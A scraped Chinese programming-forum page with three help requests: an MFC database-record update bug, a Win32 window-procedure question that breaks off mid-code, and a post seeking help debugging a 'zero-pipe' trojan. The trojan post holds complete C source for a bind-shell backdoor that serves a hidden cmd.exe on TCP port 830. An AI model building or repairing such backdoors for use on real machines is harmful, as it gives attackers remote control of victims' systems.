展开阅读全文

vc6.0+sql2000修改记录没有达到预期效果

05-12

我在修改记录的时候编写了如下代码,运行没什么问题,但没有达到预期的效果,所以向大家请教一下:rnUpdateData();rn CString sqlStr;rn sqlStr.Format("select * from td_goods"); //载入数据库相关表的数据 rn td_goodsset2 = new CGoodsset(&((CSHOPApp*)AfxGetApp())->m_DB);rn if(!td_goodsset2->Open(AFX_DB_USE_DEFAULT_TYPE,sqlStr)) //调用Open函数查询数据源中的记录并建立记录集rn rn AfxMessageBox("tb_goods表打开失败!");rn rn rn COleDateTime dt1,dt2; rn dt1.ParseDateTime(m_producetime); rn dt2.ParseDateTime(m_selldate);rn SYSTEMTIME st1,st2; rn dt1.GetAsSystemTime(st1);rn dt2.GetAsSystemTime(st2);rn CTime tm1(st1),tm2(st2);rn td_goodsset2->Edit();rn td_goodsset2->m_GoodsId = atol(m_goodsid);rn td_goodsset2->m_Sort = m_types;rn td_goodsset2->m_Name = m_goodsname;rn td_goodsset2->m_Unit = m_unit;rn td_goodsset2->m_Saleprice = m_saleprice;rn td_goodsset2->m_Stockprice = m_storeprice;rn td_goodsset2->m_Producetime = tm1; //(CTime)m_producetime;rn td_goodsset2->m_Rebate = m_rebate;rn td_goodsset2->m_Seriesnumber = atol(m_number);rn td_goodsset2->m_QuantityQT = tm2; //(CTime)m_selldate;rn td_goodsset2->Update();rnrn CString sgoodsid,sproducetime,squantityQT,sbuycount,sserisnumber; rn CTime tDate ,tData2; rn sgoodsid.Format("%d",td_goodsset2->m_GoodsId);rn sserisnumber.Format("%d",td_goodsset2->m_Seriesnumber);rn sbuycount.Format("%d",td_goodsset2->m_Buycount);rn tDate = td_goodsset2->m_Producetime;rn tData2 = td_goodsset2->m_QuantityQT;rn squantityQT = tData2.Format("%m/%d/%y");rn sproducetime =tDate.Format("%m/%d/%y"); rn m_goodsinflist.DeleteItem(number); //从数据源中删除位于指定索引位置的记录。rn// td_goodsset2->Requery();rn// DisplayRecord2();rn// CString num ;rn// num.Format("%d",number);rn// MessageBox(num);rn m_goodsinflist.InsertItem(number,sgoodsid,0);rn m_goodsinflist.SetItemText(number,1,td_goodsset2->m_Sort);rn m_goodsinflist.SetItemText(number,2,td_goodsset2->m_Name);rn m_goodsinflist.SetItemText(number,3,td_goodsset2->m_Unit);rn m_goodsinflist.SetItemText(number,4,td_goodsset2->m_Saleprice);rn m_goodsinflist.SetItemText(number,5,td_goodsset2->m_Stockprice);rn m_goodsinflist.SetItemText(number,6,td_goodsset2->m_Rebate);rn m_goodsinflist.SetItemText(number,7,td_goodsset2->m_Producer);rn m_goodsinflist.SetItemText(number,8,sproducetime);rn m_goodsinflist.SetItemText(number,9,squantityQT);rn m_goodsinflist.SetItemText(number,10,sserisnumber);rn m_goodsinflist.SetItemText(number,11,sbuycount);rnrn运行修改后结果是我所要修改的记录(比如第二条记录)没有被修改,而是第一条被修改成了修改后的数据;如果修改的是第一记录,则能达到预期效果,希望大家能帮我分析一下是什么原因,如何修改? 论坛

求教:一个木马程序运行没有达到预期效果

03-03

以下是个零管道木马程序rn// CMDPipe0.cpp : Defines the entry point for the console application.rn//rnrn#include "stdafx.h"rn#include rn#pragma comment(lib,"Ws2_32.lib")rnrnint main()rnrn WSADATA ws;rn SOCKET listenfd;rn int ret;rn //初始化wsarn WSAStartup(MAKEWORD(2,2),&ws);rn // 建立socket,注意要用WSASocketrn listenfd=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);rn //监听本机830端口rn struct sockaddr_in server;rn server.sin_family=AF_INET;rn server.sin_port=htons(830);rn server.sin_addr.s_addr=INADDR_ANY;rn ret=bind(listenfd,(struct sockaddr *)&server,sizeof(server));rn ret=listen(listenfd,2);rn //如果客户端请求830端口,接受连接rn int iAddrSize=sizeof(server);rn SOCKET clientfd=accept(listenfd,(struct sockaddr *)&server,&iAddrSize);rn STARTUPINFO si;rn ZeroMemory(&si,sizeof(si));rn si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;rn si.wShowWindow=SW_HIDE;rn si.wShowWindow=SW_SHOWNORMAL;rn si.hStdInput=si.hStdOutput=si.hStdError=(void *)clientfd; //零管道通信的关键!!!rn char cmdLine[]="cmd";rn PROCESS_INFORMATION ProcessInformation;rn //建立进程rn ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);rnrn return 0;rnrn可是我在本机运行后无论是在本机还是通过虚拟机等作为客户端"telnet ip 端口" 时,都没有得到本机的cmd shell.但在本机的控制台窗口上又有反应,我猜想问题应该出在了cmd进程的通信上.可也不知道对不对,毕竟自己还是个网络编程的初学者,有些细节仍然不清楚,所以恳请大家指教.rnrn谢谢!!!!!!!! 论坛

没有达到想的效果

08-14

[code=C/C++]rn#includern#define DIVISIONS 5rnrnLRESULT CALLBACK WndCheckProc(rn HWND hwnd, // handle to windowrn UINT uMsg, // message identifierrn WPARAM wParam, // first message parameterrn LPARAM lParam // second message parameterrn);rnrnrnint WINAPI WinMain(rn HINSTANCE hInstance, // handle to current instancern HINSTANCE hPrevInstance, // handle to previous instancern LPSTR lpCmdLine, // command linern int nCmdShow // show statern)rnrn HWND hwnd;rn MSG msg;rn WNDCLASS wndclas;rn wndclas.cbClsExtra=0;rn wndclas.cbWndExtra=0;rn wndclas.hbrBackground=(HBRUSH)(COLOR_WINDOW);rn wndclas.hCursor=LoadCursor(NULL,IDC_ARROW);rn wndclas.hIcon=LoadIcon(NULL,IDI_APPLICATION);rn wndclas.hInstance=hInstance;rn wndclas.lpfnWndProc=WndCheckProc;rn wndclas.lpszClassName="Checker";rn wndclas.lpszMenuName=NULL;rn wndclas.style=CS_VREDRAW|CS_HREDRAW;rnrn if(!RegisterClass(&wndclas))rn return FALSE;rnrn hwnd=CreateWindow("Checker","Checker",WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,0,CW_USEDEFAULT,0,NULL,NULL,hInstance,NULL);rnrn ShowWindow(hwnd,nCmdShow);rn UpdateWindow(hwnd);rnrn while(GetMessage(&msg,hwnd,NULL,NULL))rn rn TranslateMessage(&msg);rn DispatchMessage(&msg);rn rnrn return msg.wParam;rnrnrnLRESULT CALLBACK WndCheckProc(rn HWND hwnd, // handle to windowrn UINT uMsg, // message identifierrn WPARAM wParam, // first message parameterrn LPARAM lParam // second message parameterrn)rnrn static BOOL fState[DIVISIONS][DIVISIONS];rn static int cxBlock,cyBlock;rn HDC hdc;rn int x,y;rn PAINTSTRUCT ps;rn RECT rect;rn switch(uMsg)rn rn case WM_SIZE:rn cxBlock=LOWORD(lParam)/DIVISIONS; //lParam都有那些信息?在这里是窗口长短,到LBUTTONDOWN里又是鼠标坐标了?rn cyBlock=HIWORD(lParam)/DIVISIONS;rnrn return 0;rn case WM_LBUTTONDOWN:rn x=LOWORD(lParam)/cxBlock;rn y=HIWORD(lParam)/cyBlock;rn if(x 论坛

没有更多推荐了,返回首页